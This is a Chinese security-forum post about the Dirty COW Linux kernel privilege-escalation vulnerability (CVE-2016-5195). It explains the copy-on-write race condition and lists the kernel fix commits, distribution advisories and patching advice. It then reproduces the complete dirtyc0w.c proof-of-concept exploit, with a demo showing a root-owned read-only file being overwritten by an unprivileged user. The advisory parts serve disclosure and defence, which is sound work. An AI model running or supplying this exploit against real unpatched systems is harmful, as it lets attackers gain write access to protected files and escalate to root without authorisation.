linux下脏牛漏洞提权-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

linux下脏牛漏洞提权

[复制链接]
发表于 2017-2-23 08:52:29 | 显示全部楼层 |阅读模式

漏洞描述

漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

360 Vulpecker Team:Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响

为什么这个漏洞叫脏牛(Dirty COW)漏洞?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞相关细节

漏洞细节:https://github.com/dirtycow/dirt ... ulnerabilityDetails

根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。

https://access.redhat.com/security/vulnerabilities/2706661

Commit messages:

commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6

Author: Linus Torvalds <torvalds@g5.osdl.org>

Date:   Mon Aug 1 11:14:49 2005 -0700

修复get_user_pages()写访问竞争条件

如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。

commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

Author: Linus Torvalds <torvalds@linux-foundation.org>

Date:   Thu Oct 13 20:07:36 2016 GMT

这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。

Linux各发行版本对于该漏洞相关信息

Red Hat:https://access.redhat.com/security/cve/cve-2016-5195

Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195

Ubuntu :http://people.canonical.com/~ubu ... /CVE-2016-5195.html

受影响的范围

这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

如何修复该漏洞?

Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

重新编译Linux修复此漏洞。

如何发现有人利用该漏洞攻击我?

利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。

谁发现的这个漏洞?

Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195

对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo

作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。

2016.10.21 13:37更新漏洞影响范围:

360 Vulpecker Team:Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响

2016.10.21 9:10更新POC:

POC地址:

https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

  1. /*
  2. ####################### dirtyc0w.c #######################
  3. $ sudo -s
  4. # echo this is not a test > foo
  5. # chmod 0404 foo
  6. $ ls -lah foo
  7. -r-----r-- 1 root root 19 Oct 20 15:23 foo
  8. $ cat foo
  9. this is not a test
  10. $ gcc -lpthread dirtyc0w.c -o dirtyc0w
  11. $ ./dirtyc0w foo m00000000000000000
  12. mmap 56123000
  13. madvise 0
  14. procselfmem 1800000000
  15. $ cat foo
  16. m00000000000000000
  17. ####################### dirtyc0w.c #######################
  18. */
  19. #include <stdio.h>
  20. #include <sys/mman.h>
  21. #include <fcntl.h>
  22. #include <pthread.h>
  23. #include <string.h>
  24.   
  25. void *map;
  26. int f;
  27. struct stat st;
  28. char *name;
  29.   
  30. void *madviseThread(void *arg)
  31. {
  32.   char *str;
  33.   str=(char*)arg;
  34.   int i,c=0;
  35.   for(i=0;i<100000000;i++)
  36.   {
  37. /*
  38. You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
  39. > This is achieved by racing the madvise(MADV_DONTNEED) system call
  40. > while having the page of the executable mmapped in memory.
  41. */
  42.     c+=madvise(map,100,MADV_DONTNEED);
  43.   }
  44.   printf("madvise %d\n\n",c);
  45. }
  46.   
  47. void *procselfmemThread(void *arg)
  48. {
  49.   char *str;
  50.   str=(char*)arg;
  51. /*
  52. You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
  53. >  The in the wild exploit we are aware of doesn't work on Red Hat
  54. >  Enterprise Linux 5 and 6 out of the box because on one side of
  55. >  the race it writes to /proc/self/mem, but /proc/self/mem is not
  56. >  writable on Red Hat Enterprise Linux 5 and 6.
  57. */
  58.   int f=open("/proc/self/mem",O_RDWR);
  59.   int i,c=0;
  60.   for(i=0;i<100000000;i++) {
  61. /*
  62. You have to reset the file pointer to the memory position.
  63. */
  64.     lseek(f,map,SEEK_SET);
  65.     c+=write(f,str,strlen(str));
  66.   }
  67.   printf("procselfmem %d\n\n", c);
  68. }
  69.   
  70.   
  71. int main(int argc,char *argv[])
  72. {
  73. /*
  74. You have to pass two arguments. File and Contents.
  75. */
  76.   if (argc<3)return 1;
  77.   pthread_t pth1,pth2;
  78. /*
  79. You have to open the file in read only mode.
  80. */
  81.   f=open(argv[1],O_RDONLY);
  82.   fstat(f,&st);
  83.   name=argv[1];
  84. /*
  85. You have to use MAP_PRIVATE for copy-on-write mapping.
  86. > Create a private copy-on-write mapping.  Updates to the
  87. > mapping are not visible to other processes mapping the same
  88. > file, and are not carried through to the underlying file.  It
  89. > is unspecified whether changes made to the file after the
  90. > mmap() call are visible in the mapped region.
  91. */
  92. /*
  93. You have to open with PROT_READ.
  94. */
  95.   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  96.   printf("mmap %x\n\n",map);
  97. /*
  98. You have to do it on two threads.
  99. */
  100.   pthread_create(&pth1,NULL,madviseThread,argv[1]);
  101.   pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
  102. /*
  103. You have to wait for the threads to finish.
  104. */
  105.   pthread_join(pth1,NULL);
  106.   pthread_join(pth2,NULL);
  107.   return 0;
  108. }
复制代码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表